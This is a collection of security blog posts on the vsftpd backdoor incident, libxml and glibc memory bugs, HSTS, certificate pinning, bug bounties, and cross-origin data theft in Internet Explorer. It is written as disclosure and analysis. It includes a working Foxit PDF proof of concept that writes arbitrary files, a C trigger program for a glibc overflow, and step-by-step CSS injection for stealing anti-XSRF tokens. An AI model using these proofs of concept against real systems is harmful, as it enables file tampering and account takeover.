Security

Alert: vsftpd download backdoored

2011-07-03T02:10:00.000-07:00

[With thanks to Mathias Kresin for being the first to notice]

An incident, what fun! Earlier today, I was alerted that a vsftpd download from the master site (vsftpd-2.3.4.tar.gz) appeared to contain a backdoor:

http://pastebin.com/AetT9sS5

The bad tarball is (sha256sum):


2a4bb16562e0d594c37b4dd3b426cb012aa8457151d4718a5abd226cef9be3a5  vsftpd-2.3.4.tar.gz

And, of course, the GPG signature notices:


$ gpg ./vsftpd-2.3.4.tar.gz.asc
gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C
gpg: BAD signature from "Chris Evans <chris@scary.beasts.org>"

Check your signatures :)

Ideally, you'll see something like:


gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C
gpg: Good signature from "Chris Evans <chris@scary.beasts.org>"
Primary key fingerprint: 8660 FD32 91B1 84CD BC2F  6418 AA62 EC46 3C0E 751C

Signatures aside, I also took the liberty of moving most of the vsftpd site and latest download to a hosting provider I have more faith in:

https://security.appspot.com/vsftpd.html
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz.asc

The backdoor payload is interesting. In response to a :) smiley face in the FTP username, a TCP callback shell is attempted. There is no obfuscation. More interestingly, there's no attempt to broadcast any notification of installation of the bad package. So it's unclear how victims would be identified; and also pretty much guaranteed that any major redistributor would notice the badness. Therefore, perhaps someone was just having some lulz instead of seriously trying to cause trouble.

libxml vulnerability and interesting integer issues

2011-05-27T15:11:00.000-07:00

A while ago, I was playing with grammar-based XPath fuzzing and I found and fixed an interesting libxml bug. The commit, for the curious, is here:

http://git.gnome.org/browse/libxml2/commit/?id=d7958b21e7f8c447a26bb2436f08402b2c308be4

The trigger for this bug was the XPath expression: //@*/preceding::node()/ancestor::node()/ancestor::foo['foo'] which for some reason I haven't yet analyzed leads to a pathologically large collection of nodes within libxml.

As the nodeset is grown and grown, things get interesting when the system runs out of memory whilst trying to double the size of the nodeset:


        cur->nodeMax *= 2;
        temp = (xmlNodePtr *) xmlRealloc(cur->nodeTab, cur->nodeMax *
                                         sizeof(xmlNodePtr));
        if (temp == NULL) {
            xmlXPathErrMemory(NULL, "growing nodeset\n");
            return;
        }
        cur->nodeTab = temp;

Notice how the max number of allocated nodes in the "cur" structure is doubled before doing, checking and assigning the reallocation. This means that in the event of a realloc() failure, one of two things will happen:

If you malloc() implementation exits the process upon alloc failure (such as Chromium), lucky you! You dodged a bullet.

More typically, you'll exit this function with "cur" in an inconsistent state, i.e. it indicates it can hold more data than it really can.

Despite the call to xmlXPathErrMemory(), XPath processing continues with "cur" in an inconsistent state, leading to a heap-based buffer overflow.

The fix is to only update the structure's "max size" member after a successful expansion of the underlying array. libxml already did this in most places, using a paradigm such as:


        temp = (xmlNodePtr *) xmlRealloc(cur->nodeTab, cur->nodeMax * 2 *
                                         sizeof(xmlNodePtr));
        if (temp == NULL) {
            xmlXPathErrMemory(NULL, "growing nodeset\n");
            return;
        }
        cur->nodeMax *= 2;
        cur->nodeTab = temp;

... which leads us nicely into part 2:

Interesting integer issues

Even with the fix applied, there are some really interesting integer issues going on here. The astute will have noticed a possible integer overflow in the argument to xmlRealloc(), which is a general hazard with the common pattern of "double the size of the array if we ran out of room". Digging in to more detail, we see a fascinating difference in behaviour between 32-bit and 64-bit builds and maybe even learn a thing or two about integer promotion rules.

On 32-bit builds

First, let's quickly note that cur->nodeMax is of type int. That's likely the wrong type for a couple of reasons, but we will run with it for our analysis.
On 32-bit, sizeof(int) == sizeof(size_t) so we're looking at a fairly basic possible integer overflow. But can it ever be triggered? Does the 32-bit address space offer enough room?
The case with the least space requirements for the 32-bit address space is the case where we already have a 2GB (2^31) allocation and are attempting to double it -- leading to an integer overflow at 2^32 and an attempt to realloc() to 0 bytes.
But to arrive at the 2^31 allocation, we need to have a 1GB -> 2GB realloc() succeed first.
This is actually unlikely on 32-bit Linux -- which typically has just the lower 3GB of address space usable. 1GB + 2GB + program text etc. won't simultaneously fit, so the only way 1GB -> 2GB realloc() will succeed is if the allocation can be expanded in-place. glibc malloc() will typically use mmap() for large allocations, and put them towards the top of address space in order to reserve room for standard heap expansion. So realloc() on such an mmap()ed chunk typically won't have room to mremap() to a larger size.
All in all, this seems to be a hard-to-exploit bug, unless the attacker has a lot of control over other allocations (to influence the placement of the 1GB mmap() lower down in the address space and then free() whatever chunks were needed to do that, before the realloc()). Further research might be merited for other allocators (e.g. tcmalloc) and 32-bit-process-on-64-bit-host (>3GB address space available).

On 64-bit builds

With 64-bit, we have a much larger address space. This means that we should be able to successfully allocate the growing array -- and the objects contained within it -- right up until the fault condition.

The fault condition is that cur->nodeMax * 2 will eventually become negative. This negative int is then multiplied by sizeof(xmlNodePtr). Remember that sizeof() returns a size_t, so we have an int -> size_t promotion at this point. This will result in sign-extension to a 64-bit size, which will end up massive and the system allocator will not be able to satisfy an allocation of that size. Therefore, a lucky lack of impact on 64-bit.

Finally, note that there's a real subtlety in the ordering of the expression given to xmlMalloc():


cur->nodeMax * 2 * sizeof(xmlNodePtr)

Things would be very different if we had:


cur->nodeMax * sizeof(xmlNodePtr) * 2

Promotions for left-to-right operator sequences are done in strict left-to-right ordering, as opposed to some kind of overall max(precedence) promotion. Therefore, in this latter case, the initial negative-related failure will be avoided; we're looking at:


(int) 2^30 -> (int) -(2^31) -> (size_t) 0xffffffff80000000 * 8 == (size_t) 0xfffffffc00000000
vs.
(int) 2^30 -> (size_t) 2^30 * 8 -> (size_t) 2^30 * 8 * 2 == (size_t) 2^34

Seeing that nodeNr is just an int, we would likely see subsequent memory corruption if nodeNr goes subsequently negative after its increment in a statement such as cur->nodeTab[cur->nodeNr++] = xmlXPathNodeSetDupNs(node, ns);

Bug bounties vs. black (& grey) markets

2011-05-25T03:57:00.000-07:00

I'm just back from the fun that was HiTB Amsterdam 2011. (Plug: you should check out one of the HiTB series if you haven't yet; Dhillon and crew invariably put a good, intimate conf together).

I sat on the day 2 keynote panel on "The economics of vulnerabilities". As usual, talking about this topic was great fun and the audience asked some great questions. Predictably, the topic strayed on to black market sales as an interesting sub-discussion. With 6 people on the panel, it was hard to cover this in the detail it deserves, and I think a few important subtleties were missed. I'll try to cover some of them here.

Vulnerability reward programs do not "buy" bugs, nor do they aim to compete with the black market
Remember that the black (or grey) markets buy exploits, not vulnerabilities. The latter are just the first step towards exploits, which are hard to write on modern software. Also remember that reward programs are not buying even vulnerabilities. Typically, they are a "thank you" mechanism for talented researchers who used their skills to make things better.
Also, there's often a separation of which researchers participate where, along ethics lines; see below.

A vulnerability reward program will indirectly compete with black market sales
It's interesting to note that a reward program doesn't have to outbid dubious markets in order to have a benefit in this area. These days, there's a lot of independent rediscovery of the same vulnerabilities -- ZDI quoted 22 "collisions" for the most recent year.
So any motivation you can provide for white hats to discover vulnerabilities will inevitably kill the occasional black market vulnerability.
A quick story in support: the WebKit vulnerability used by VUPEN to pwn Safari at this years' pwn2own competition was independently reported to the Chromium project by researcher Martin Barbella. Thanks to Inferno's lightning quick fix, Chrome entered pwn2own without that bug. Martin, of course, received a $1000 Chromium Security Reward (on top of all his others).

Black / grey market sales are a dangerous alternative to consider
Each researcher has to set their own ethics, of course. Hopefully, most of us get into this industry to make users safer and software more secure. Aside from reward programs and ZDI, there's also a large number of well-paid security jobs sponsored by corporations, so no need to start selling exploits to feed the family.
If you sell an exploit to someone, it's basically going to be used to exploit end users of the software. This could harm a lot of people if the target is mass malware for financial gain. Or it could seriously harm some targeted individuals if a government of dubious human rights commitment gets their hands on it.

"Credit", whilst important, is not a full replacement for a monetary reward
To be clear about it: if you launch a vulnerability reward program, you will receive more vulnerability reports from a wider range of researchers. The power of credit and prestige is often cited as an argument to not launch a reward program, but the fact remains that you will get more reports if you have a program in place. And as long as you have a culture of fixing security bugs promptly, your users will be safer thanks to having a reward program.

Fiddling with Chromium's new certificate pinning

2011-04-27T00:48:00.000-07:00

Over the past few years, there have been various high-profile incidents and concerns with the Certificate Authority-based infrastructure that underpins https connections. Various different efforts are underway to tackle the problem; many are enumerated here:

http://googleonlinesecurity.blogspot.com/2011/04/improving-ssl-certificate-security.html

And in terms of things baked directly into the browser, we have things like Firefox's Certificate Patrol add-on:

https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/

My colleague Adam Langley summarized some features and directions we've been exploring in Chromium recently, it's a good read:

http://www.imperialviolet.org/2011/05/04/pinning.html

These features can also be controlled via the command-line, so to give a glimpse of the future, I present to you:

Twitter Like A Boss

Run Chrome (v12 dev channel or newer required) with a command line like this:


google-chrome --user-data-dir=/tmp/chrome_twitter --incognito --disable-plugins --proxy-server=localhost:1 --proxy-bypass-list=https://twitter.com,https://*.twitter.com,https://*.twimg.com --hsts-hosts='{"df0sSkr4gOg4VK8d/NNTAWFtAN/MjCgPCJ5ml+ucdZE=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/TXoScD1SXPfhmRO8ACTPrkXD9Yk="]},"tGm+XsbBPK211uMWtg2k071vijQkuVLvd62QzfNFol8=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/06curQTaPH4PGumbNSeL79da23s="]},"wZU3atDOXaxKkaRgSdlWwB4UYjulRq46SGnIBij5I98=":{"expiry":2000000000.0,"include_subdomains":true,"mode":"strict","public_key_hashes":["sha1/O6hykhOmHJ5HQUREC0DTDeu6+mE="]}}' --user-agent='LIKE A BOSS'

(You'll need to edit a couple of things such as the command name and the temp directory if you're on Windows or Mac).

If you wish to connect securely to Twitter, well it pretty much does so... like a boss. It does the following things and defends against the following situations:

The --user-data-dir flag loads Twitter in a new profile so that you get a new Chrome instance and therefore new cookie jar. Therefore, carelessly clicked links in your other browsing windows won't get you XSSed.

The --incognito flag applies the usual incognito changes; notably, things like profile photos won't be cached to disk; might be useful if you're an activist.

--disable-plugins is strictly unnecessary since Twitter generally isn't using plug-ins. However, any "secure" command line should likely include that flag.

The --proxy-server=localhost:1 is a good defensive catch-all which will stop any site traffic being sent by your browser unless it is whitelisted. Specifically, a http://bit.ly/ link to an XSS payload won't work on you. (You'll need to paste such links into an alternate browser which shouldn't be logged in to Twitter). This will also stop non-pinned https requests going out (which might otherwise compromise the integrity of the main page). Mixed-content bugs, cookie forcing and failure to mark cookies "Secure" will also be mitigated.

--hsts-hosts is the magic. It locks twitter.com, api.twitter.com and twimg.com such that SSL traffic from/to Twitter will only be accepted if the leaf SSL certificate's public key is exactly what we expect. It's called "certificate pinning", and along with HSTS, it defends against any compromised root CA, Comodo-gate, Tunisia-like sslstrip attacks, and the "evil country owns firewall + CA" situation.

--user-agent='LIKE A BOSS' is strictly optional, depending on your mood.

The above command line isn't finished. Although Twitter seems to run fine, there are under-the-hood failures to scribe.twitter.com and other places because I haven't added the correct certificate pin for that host. The above will break if any of the leaf certificate public keys change (this doesn't necessarily happen on expiry rollover but may otherwise happen for various reasons).

Hopefully this demo is compelling. The plan is to push this technology more and more under the covers so that it happens for less technical users who have an empty command line!

Multi-browser heap address leak in XSLT

2011-03-09T10:10:00.000-08:00

It's not often that I find a bug that affects multiple different codebases in the same way, but here is an interesting info-leak bug that is currently unpatched in Firefox, Internet Explorer and Safari.

I'm releasing it now for a few reasons:

The bug was already publicly noted here.

This bug cannot damage anyone in and of itself; it's a low severity info-leak that does not corrupt anything. It needs to be paired with other bugs, perhaps as an exploit aid against ASLR.

This is a rare and unique opportunity to directly compare vendor responses and response times for a near-identical bug. It's nice that this is a lower-severity issue as all vendors tend to treat critical issues with at least some urgency; lower severity issues serve as a better differentiator.

The bug
The bug is in the generate-id() XPath function, and is sometimes used in XSL transforms. Here's an web page that simply calls generate-id() and renders the result as a web page:

https://cevans-app.appspot.com/static/genid.xml

Let's see how this renders in different browsers:

Firefox (64-bit Linux)
id0x00007fbac51c1000

There is no "obfuscation" that this is a raw heap address. Since Firefox is open source, we can go and look at the source code to find that indeed, the string is generated from a pointer (txXPathNodeUtils::getXSLTId):

const char gPrintfFmt[] = "id0x%016p";

Internet Explorer 8 (Windows 7)
IDAW0MLB

Doesn't look like a heap address, does it? If, however, you strip off the "ID" prefix and treat the string as a [A-Z0-5] base32 encoded "little endian" string, you resolve to a nice heap address. At that address is a pointer in msxml.dll, possibly the address of a vtable for some internal xml node class.

Safari 5 (Mac OS X)
id35865226

Also does not immediately look like a heap address, but libxslt is doing a simple transform on a heap address:


    val = (unsigned long)((char *)cur - (char *)0);
    val /= sizeof(xmlNode);
    sprintf((char *)str, "id%ld", val);

Opera
o14022440
o2148150600
These object ids bounce around all over the place. I don't know what is going on so I'm not making the claim that Opera is affected.

Chrome
Latest stable Chrome (Chrome 10) is not affected. It has been removed from the "time to fix" competition in order to keep things fair.

It's on!! Who will fix it first and who will be the security laggard? Updates to be provided via Twitter: @scarybeasts

Busy Chrome day...

2011-03-08T20:34:00.000-08:00

I did a bunch of fairly interesting things with my corporate hat on today (not to be confused with any of my personal research ;-)

Firstly, Chrome 10 went out with a record $16k+ series of rewards. It's continually humbling to see such a wide range of researchers and a wide range of bug categories!

http://googlechromereleases.blogspot.com/2011/03/chrome-stable-release.html

Also, there are some nice new security pieces in Chrome 10. I blogged about some of these:

http://blog.chromium.org/2011/03/mini-newsletter-from-your-google-chrome.html

My personal favourite is "plug-in blocking enhancements", probably because I implemented it and am therefore biased :-) In reality, the change that's going to really help end user security is "out-of-date plug-in warnings". Users are encouraged to update to the latest security patches for their plug-ins. I personally believe this will be particularly helpful for Java, which is widely installed but users are not always the most uptodate.

And then I spoke at SANS AppSec with Adam Mein about Google's two vulnerability reward programs (Chromium and Web). This seemed to be very well received, as evidenced by the stack of insightful questions. We released a few new stats and charts, so it's probably worth me linking to the slides:

https://docs.google.com/present/edit?id=0Ae_usSLlqH60ZGZnYjI0NTVfMjBobngybWRoaA&hl=en

All in all a fun day!

Dangerous file write bug in Foxit PDF Reader

2011-03-05T23:21:00.001-08:00

This is fixed in the recently released Foxit PDF Reader v4.3.1.0218. That release is marked as an important security update, although this file bug is not mentioned.

Recently, I've been playing around with the various JavaScript APIs available in various different PDF readers. In case you wanted to do the same, I made some little tools, including a simple one to execute PDF-based JS via an URL:

https://cevans-app.appspot.com/static/pdfjs.html?js=app.alert('hi')

The serious bug I found in Foxit PDF Reader permits arbitrary files to be written with arbitrary content, like this:

https://cevans-app.appspot.com/static/pdfjs.html?js=createDataObject('c:/autoexec.bat','echo hi mom')

Files can be overwritten as well as created.

I did some hackery on the generated PDF and managed to squeeze a full valid PDF, including simple JS payload, into 136 characters. This means I can tweet the full PoC PDF, which I will do shortly :) Here it is for completeness:


%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))>> trailer<</Root 1 0 R>>

I got accidental code execution via glibc?!

2011-02-24T16:13:00.000-08:00

The story of Chromium security bug 48733, with guest Cris Neckar, part I

It has been a long time now, but the story of Chromium security bug 48733 deserves to be told. It involves intrigue in glibc and even gcc; and notably I accidentally executed arbitrary code whilst playing with this bug!

The bug was reported in July 2010, and there were instantly some WTF aspects. It caused a full browser crash on Linux, and the trigger seemed to be a long string. Such a case would tend to suggest a buffer overflow; but these are very unusual in Chromium code. Upon further investigation, the crash was occurring in the glibc function fnmatch():


int fnmatch(const char *pattern, const char *string, int flags);

And what was very strange was the trigger was not the pattern (which is a complicated string format), but simply the string itself. Further investigation narrowed the problem down to any long-ish (few megabytes+) string, if the locale was set to UTF8. A simple C test program is included at the end of the post. And here comes the killer: I was playing around and ran the program like this on my 32-bit Ubuntu 9.04 machine:


./a.out 1073741796

And accidentally achieved arbitrary code execution! The "A" characters making up the large input string actually correspond to the instruction inc %ecx so I wound up executing a bunch of those.

So what was going on?
Probably best to tackle the list of interesting points in bullet form:

glibc had a bug where it would use alloca() for the length of a user-supplied UTF8 string, times four (with additional integer overflow in the times four). This is good for at least a crash, because alloca() extends the stack, which is typically limited to a few MB.

It seems uncommon for Linux distributions to compile packages with gcc flags that defend against stack extension attacks -- more about that in part II.

32-bit Ubuntu releases used to lack DEP. Perhaps they still do? This permits the execution of code contained within heap chunks, and is key to the accidental code execution achieved.

But how did EIP get redirected? The number passed to a.out above is a bit magic; glibc multiplies it by 4 (sizeof(wchar_t)) before passing it to alloca(), which ends up with the value 2^32 - 112. This wraps the stack pointer, causing an effective decrease in the stack of 112 bytes.

The decrease in stack size leads to all sorts of havoc; we're not sure, but most likely a local variable (in a subfunction of the function that called alloca()), pointing to the incoming heap string -- got plonked on top a saved EIP. I no longer have the old version of Ubuntu to test with, and more recent glibcs are fixed, so I can't confirm.

Note that stack extension bugs like this often sidestep a lot of system defenses, such as stack canaries (which are left undamaged) and ASLR (a valid address is automatically filled in). It's another case where Ubuntu could really have used DEP; see my older Firefox exploit for further proof!

How does part I end?
Of course, we reported the bug upstream to glibc: http://sourceware.org/bugzilla/show_bug.cgi?id=11883. The somewhat terse response notes that the issue was fixed but not in which version. Because of this, no glibc security advisories were released; so apologies if your older but still supported Linux distribution might still have vulnerabilities in this area.

Although certainly not a bug in Chromium, we still paid the bug finder $1337 under the Chromium Security Reward program. We did this partly just because we can, and we love encouraging all security research. But also, we were able to work around this glibc bug in Chromium fairly trivially -- so we did so in short order. As can be seen from the Chromium bug, we had all users protected in under 20 days from the original report, despite it not being our fault!


#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, "en_US.UTF8");
  if (argc < 2) {
    errx(1, "Missing argument.");
  }
  num_as = atoi(argv[1]);
  if (num_as < 5) {
    errx(1, "Need 5.");
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, "malloc() failed.");
  }
  memset(p, 'A', num_as);
  p[num_as - 1] = '\0';
  p[0] = 'f';
  p[1] = 'o';
  p[2] = 'o';
  p[3] = '.';
  fnmatch("*.anim[1-9j]", p, 0);
  return 0;
}

Some less obvious benefits of HSTS

2011-02-16T03:57:00.000-08:00

HSTS, standing for HTTP Strict Transport Security, is a relatively new standard that aims to bolster the strength of HTTPS connections.

Hopefully it's about to catch on. Google Chrome has supported HSTS for a while now, and Firefox support is imminent.

The stated benefits of HSTS include:

Defenses against sslstrip-like attacks. The initial navigation to blah.com is automatically upgraded to HTTPS.

Zero tolerance for certification problems. The user is not permitted to "click through" anything such as a self-signed cert.

HSTS also comes with some less obvious benefits and security boosts, which it's worth noting:

Mixed-content defense. For same domain mixed-content situations, the fetches are automatically upgraded to HTTPS. This can sometimes sidestep nasty bugs.

Secure cookie defense. It's a pretty egregious bug for an HTTPS-only site to fail to mark its cookies "Secure", but HSTS can defend against the cookie value being sent out plaintext.

Cookie forcing defense. Cookie forcing is a pretty nasty MITM attack that I was playing with back in 2008. As long as HSTS is used in "includeSubDomains" mode, it can provide a defense against this subtle attack.

Latency win. User who navigate to or bookmark the plain HTTP blah.com are automatically bounced straight to HTTPS, without having to go via an HTTP redirect

In the future, I'm hopeful HSTS can be extended to provide defenses against possibly rogue CAs.

A harmless SVG + XSLT curiousity

2011-01-19T16:56:00.000-08:00

How do you execute code in a turing complete language via the <img> tag? Why, by combining an XSL transform into an SVG image of course!

I stumbled across this old file in my archives:

http://cevans-app.appspot.com/static/expensive_xsl_svg.html

If you run it e.g. in Chrome, it'll consume a load of CPU (and subsequently memory if you let it crank). I expect it'll do the same in any WebKit browser, and Opera's error message implies it has all the pieces to follow suit if I tweaked the file a bit.

It's not a significant security issue, but it's an interesting quirk. It works because SVG and XSL are both XML formats, and XSL can use a self-referential construct to operate on itself as the input document:


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>

If the XSL output XML is valid SVG syntax, then it will render. So you can probably pull some crazy tricks to generate a complicated SVG on the fly! My sample file doesn't get that far; it simply deliberately runs an expensive stylesheet transform with a large output.

If anyone wanted to play with this, there may be interesting issues with the unusual context the XSL is executing in. What if you used xsl:import or the document() XPath function? What origin is used for security checks?, etc.

Minor leak, major headache

2010-10-21T16:28:00.000-07:00

I find this bug interesting, because at first it looks like a relatively minor cross-origin leak. But with a bit of investigation, it has major consequence.

The bug is specific to Internet Explorer, and still seems unfixed (in stable versions) at the time of writing. I told Microsoft about it back in 2008. Therefore this disclosure is not an 0-day, but more like a 600-day.

The bug is pretty simple: IE supports a window.onerror callback which fires whenever a Javascript parse or runtime error occurs. Trouble is, it fires even if www.evil.com registers its own window.onerror handler and then uses <script src="http://www.bank.com/">. We'll demonstrate the consequence of this later.

The bug has a very interesting history, which is worth briefly outlining here:

2006: Possible original discovery of theft of sensitive data aspect, credit Filipe Almeida.

Dec 2006: Jeremiah Grossman demonstrates login determination by profiling cross-origin error messages: http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html.

Unknown, 2007?: Firefox fixes the issue.

Dec 2008: I discover that a redirect bypasses the Firefox protection: http://scarybeastsecurity.blogspot.com/2008/12/firefox-cross-domain-text-theft.html. It is fixed pretty quickly.

Dec 2008: Michal Zalewski notes that my Firefox demo works verbatim in IE. Microsoft informed.

Oct 2010: full disclosure of Internet Explorer variant.

So why is this a serious bug? Well, Javascript error messages are usually pretty terse but in at least one case, cross-origin content is echoed back to the attacker: variable names. e.g. 'blah' is not defined.

So if the cross-origin text looks like a Javascript variable reference, then the attacker has a very useful leak!

Here is a proof-of-concept against Google Reader, which works by stealing cross-origin content which happens to be an anti-XSRF token:

http://scary.beasts.org/misc/reader.html

As it happens, the Reader product deployed a change which detects the vulnerable User-Agent string (Internet Explorer) and uses a workaround. So the PoC is neutered. This is a shame because the PoC used to force your friend to subscribe to a goat-farming feed against their will. For now, you'll have to locate an alternate attack vector for this vulnerability -- do let me know what you find via a comment.

It's worth closing with some notes that this area is ripe for further research. There are a varied number of text structures which can be stolen (iteratively if necessary) with this trick:

a,b,c -- i.e. the CSV syntax
The b in a:b
a.b.c
The b in {a:b}
Expression constructs such as a/b/c
Constructs like the above, if wrapped in () or [] etc.

To experiment with what Javscript error message you might see with a given piece of cross-origin text, you can use:

http://scary.beasts.org/misc/onerr.html

(Only works in browsers with window.onerror, such as IE).

Please leave a comment if you have more constructs which can be stolen; or more examples of sites where stuff can be stolen from.

IE8 CSS-based forced tweeting

2010-09-29T01:13:00.000-07:00

A few weeks back, I published a demo that uses a serious Internet Explorer cross-origin violation to permit a malicious web page to force the visitor to make unwarranted tweets:

http://seclists.org/fulldisclosure/2010/Sep/64

The post was light on technical details of how the attack works, so they will be filled in below. In addition, I'll quickly take care of the FAQ:


Q) Does this attack affect earlier versions of Internet Explorer, such as IE6?
A) Yes, the attack works verbatim on IE6 in my testing.

Q) When will a patch be available?
A) As far as I'm aware, Microsoft have not stated when users of IE6, IE7 and IE8
will be afforded protection. I'm not privy to any other details.

Q) Why drop this 0-day?
A) The rampant misuse of the term "0-day" is somewhat disappointing. You can look
it up on Wikipedia, but an "0-day" is a term reserved for a disclosure where the
vendor was previously unaware of it. In this instance, the bug is better described
as a "500+ day" if you look at when the bug was first publicly disclosed.

So how does the Twitter attack work?
When exploiting this bug in general, you are looking to meet various conditions:

Finding a text injection point in the target origin to start a CSS property.

Using a text injection context that does not escape vital CSS characters.

Arranging for some sensitive information (such as an anti-XSRF token) to appear after the text injection point.

Arranging that no CSS property terminator appears before the sensitive information.

In the Twitter attack, the injection point can clearly be seen; it's simply the text of a tweet in my "scarybeaststest" account:

http://twitter.com/scarybeaststest

If you look at the raw source HTML of that page on twitter.com, you'll see the following piece of HTML:

<span class="entry-content">{}body{font-family:"</span>

That's the start of a CSS descriptor injected into the Twitter page. Note that none of the characters {, }, : or " need to be escaped in the HTML tag value context -- there is no Twitter bug here.

The need for the " character in this injection context is subtle: it derives from how the IE CSS parser determines end-of-property. Essentially, IE is just looking for a ; character to denote the end of the value for the "font-family" property. Unluckily for us, the ; character appears in the Twitter HTML prior to the high-value anti-XSRF secret we are trying to steal. This would tend to terminate the injected CSS property early and spoil our day. Fortunately, ; is perfectly acceptable within a quoted section, so the use of " will ensure the stray ; characters appear between a pair of quotes and do not terminate the parse of our CSS property.

With our injection, the Twitter page ends up looking a little bit like:

<html>bla..bla..{}body{font-family:"..more HTML prop="value" some ; SECRET_XSRF_TOKEN blah EOF

The IE CSS parser keeps track of opening and closing quote pairs, and only terminates the CSS property if a ; is encountered outside of quoting. Our usage of a " character to start the property ensures that any ; characters appear within the quoted context. Eventually, the CSS parser includes the secret anti-XSRF token in the CSS property value and then hits EOF with an unterminated quote. IE happily recovers from this situation by constructing a CSS property value with all the text parsed so far!

So the attacker simply includes the above CSS-property-injected Twitter page as CSS and recovers the CSS value for the "font-family" property, which includes the secret token (as well as a bunch of quoted semi-colons and other HTML detritus which is less interesting to us).

There is quite a pile of IE CSS parsing bugs involved to pull this off. Many are CSS specification violations:

Newlines permitted within quoted strings.
Whitespace permitted outside quoted strings.
Multiple quoted strings permitted in single property.
End of file within quoted string does not invalidate descriptor.
Bad Content-Type and non-CSS content ignored for cross-origin CSS.

As be seen, the interaction of CSS property terminator vs. quoting context is quite subtle. There might well be a simpler twitter.com injection to use, but this more complicated example is simply the first working one I found.

Internet Explorer considered harmful

2010-08-04T22:22:00.000-07:00

Now that this paper is officially public, the full story of CSS-based cross-origin theft can come out. (As an aside I'd like to note that I contributed little other than review to the paper so credit must go to the other named individuals).

For background reading, see my Dec 2009 original post and an update that notes Firefox fixing the issue.

In the original post, I state two mitigating factors that prevent the attack being very serious: the fact that quotes and particularly newlines stop the attack from working due to the way CSS parsing is specified.

It turns out that Internet Explorer is not compliant in either of these aspects, leaving it more vulnerable that the other browsers. Not only is it the most vulnerable, but it is also the only browser to not have a fix available for its latest stable version. Fully patched IE8 is still vulnerable.

For an example of how easily data can be stolen cross-origin, try this demo in IE:

http://sh0dan.org/css.html

It uses the font-family CSS property to steal all text from the injection point up to the next ; character. Alternatively, to get more control, we can use background-image:url( which will steal all text from the injection point up to the next ); sequence (which can be useful as it is less likely to occur by 'accident').

I have PoCs which will steal your webmail's XSRF token, with follow-on loss of account integrity and confidentiality. It's a nasty attack: e-mail someone a link and if they click it, they are owned with a pure browser cross-origin bug. I don't think it would be productive to share any PoCs at this time.

Talking to some greyhats, I was surprised to learn this bug has been public since at least 2008. If you speak Japanese, see:

http://d.hatena.ne.jp/ofk/20081111/1226407593

That's a dangerously long time for such a bug to be live and known by hackers.

Browsers are complicated pieces of software and will always have bugs. Time-to-fix therefore matters for a browser. If security is a factor in your browser choice, I recommend you look at Opera or Chrome. These browsers fixed this bug the fastest.

Firefox fixes CSS-based cross-origin theft issue

2010-07-22T11:37:00.000-07:00

Firefox just released version 3.6.7 of their excellent browser, and it fixes this:

http://www.mozilla.org/security/announce/2010/mfsa2010-46.html

This leaves 4 of the 5 major browsers with fixes (more on this in an upcoming post), which is my threshold for documenting a little tweak to exploitability. It is partially inspired by Gareth Heyes' attack on E4X using character set overrides. For interesting background reading, see:

http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/

Turns out, the same character set override applies to loading cross-origin CSS via the <link> tag. This means that you can use UTF7 in Firefox to get around one of the key restrictions in the original attack. Specifically, you can force the CSS to be interpreted as UTF7, which makes injecting either type of quote (single or double) trivial to do without it getting escaped. Of course, the larger newline-related restriction remains in sane browsers.

Also, it's worth documenting how the character set override works. Interestingly, in all the browsers I tested (Chrome, Firefox, Safari) -- any character set specified in a site's HTTP headers has a higher precedence that the attacker's attempted override in the <link> tag. Useful. You should always specify character sets where possible. It has also defended against other previously unknown attacks in the past.

One final note is that not all browsers support UTF7. Chrome for example does not. I'm sure no-one would shed tears if UTF7 died.

Fixing responsible disclosure

2010-07-20T20:05:00.000-07:00

Today I had the pleasure to post:

http://googleonlinesecurity.blogspot.com/2010/07/rebooting-responsible-disclosure-focus.html

It is co-signed by some of my awesome fellow engineers who personally believe in what is written.

Recent discussions and debates have shown that "responsible disclosure" is broken. It is badly named and ill-defined. Possibly the worst problem with responsible disclosure is that is permits known critical vulnerabilities to go unfixed for months or even years. As many commentators have pointed out, that is hardly "responsible". We've also seen what happens when we go down that route.

The simple proposed fix is to use reasonable deadlines to encourage things in the right direction. 60 days for critical issues. ("critical" in the genuine unsandboxed & arbitrary code execution sense, not "critical" just because some news article or researcher is overstating things).

Speaking personally about my work on securing the Chromium browser: I'd be mortified if I learned of a SecSeverity-Critical bug and it took me over 60 days to protect my users from it. It's not always possible to move this fast, but for one of the few critical bugs I found, the timeline shows it was not only fixed but also installed across the user base in about 6 days.

Related reading:

http://lcamtuf.blogspot.com/2010/07/rebooting-responsible-disclosure.html

http://taviso.decsystem.org/grandma.html

More money for critical Chromium security bugs!

2010-07-20T14:31:00.001-07:00

We've seen who is $1337 but who is $3133.7 ?

I just launched this:
http://blog.chromium.org/2010/07/celebrating-six-months-of-chromium.html

I've really enjoyed launching and now refreshing this program.

Open redirectors: some sanity

2010-06-25T15:25:00.000-07:00

Open redirectors are a contentious issue. Old-school hackers think anyone who thinks they are serious is on drugs. New-school hackers are more evenly divided. I haven't yet seen a public, balanced list of reasons why you should be worrying about other problems. Here it is. For now, I'll concentrate on the central idea that open redirectors permit domain obfuscation and therefore facilitate phishing etc.

OMG! Open redirectors can send a user to evil.com whilst appearing to go to good.com
1. Not an issue: The only security indicator for URLs supported by browsers is the URL bar. The status bubble can be faked. This is to say that you can only securely do an URL check on the final landing page of a click. Check out the Browser Security Handbook.
2. Not an issue: An easier way to fake an URL is to simply use mismatched anchor text vs. the actual href. End users make decisions based solely on the the text they read, not the underlying URL.
